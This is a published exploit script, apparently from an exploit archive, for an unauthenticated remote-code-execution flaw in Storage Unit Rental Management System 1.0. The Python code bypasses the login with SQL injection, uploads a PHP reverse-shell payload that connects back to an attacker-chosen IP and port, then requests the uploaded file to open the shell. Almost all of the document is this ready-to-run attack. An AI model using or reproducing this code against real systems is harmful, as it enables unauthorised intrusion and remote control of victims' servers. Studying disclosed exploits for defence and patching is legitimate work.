Storage Unit Rental Management System 1.0 Shell Upload

`# Exploit Title: Storage Unit Rental Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 28.09.2021  
# Exploit Author: Fikrat Ghuliev (Ghuliev)  
# Vendor Homepage: https://www.sourcecodester.com/php/14932/storage-unit-rental-management-system-using-php-free-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14932&title=Storage+Unit+Rental+Management+System+using+PHP+Free+Source+Code  
# Version: 1  
# Tested on: Ubuntu  
  
import requests  
from bs4 import BeautifulSoup  
import sys  
import random  
import string  
import time  
  
if len(sys.argv) != 4:  
print("[~] Usage : python3 exploit.py localhost ip port")  
exit()  
  
site = sys.argv[1]  
ip = sys.argv[2]  
port = sys.argv[3]  
shellcode = "<?php $sock=fsockopen('" +ip+"',"+port+");exec('/bin/sh -i <&3 >&3 2>&3'); ?>"  
  
letters = string.ascii_lowercase  
name = ''.join(random.choice(letters) for i in range(5))   
  
def LoginAndShellUpload():  
login = 'http://'+site+':80/storage/classes/Login.php?f=login'  
session = requests.session()  
post_data = {"username": "' OR 1=1-- -", "password": "aa"}  
user_login = session.post(login, data=post_data)  
cookie = session.cookies.get_dict()  
  
print('[+]Success login')  
print('[+]Try Shell upload')  
time.sleep(2)  
#shell upload  
url = 'http://'+site+':80/storage/classes/SystemSettings.php?f=update_settings'  
cookies = cookie  
headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------246884504016047375913085888751", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/storage/admin/?page=system_info", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin"}  
data = "-----------------------------246884504016047375913085888751\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nStorage Unit Rental Management System - PHP\r\n-----------------------------246884504016047375913085888751\r\nContent-Disposition: form-data; name=\"short_name\"\r\n\r\nSURMS - PHP\r\n-----------------------------246884504016047375913085888751\r\nContent-Disposition: form-data; name=\"img\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------246884504016047375913085888751\r\nContent-Disposition: form-data; name=\"cover\"; filename=\""+name+".php\"\r\nContent-Type: application/x-php\r\n\r\n"+shellcode+"\n\n\r\n-----------------------------246884504016047375913085888751--\r\n"  
requests.post(url, headers=headers, cookies=cookies, data=data)  
print('[+]Success!')  
print('[+]Getting reverse shell')  
time.sleep(2)  
  
  
def RCE():  
  
path = 'http://'+site+'/storage/uploads/'  
html_text = requests.get(path).text  
soup = BeautifulSoup(html_text, 'html.parser')  
for link in soup.find_all('a'):  
data = link.get('href')  
with open('shell_location.txt', 'w') as f:  
f.write(data)  
  
path2 = 'shell_location.txt'  
shell_file = open(path2,'r')  
shell = shell_file.readline()  
  
r = requests.get('http://'+site+'/storage/uploads/'+shell)  
print(r.text)  
print('[+]Hacked!')  
  
  
  
LoginAndShellUpload()  
RCE()  
  
`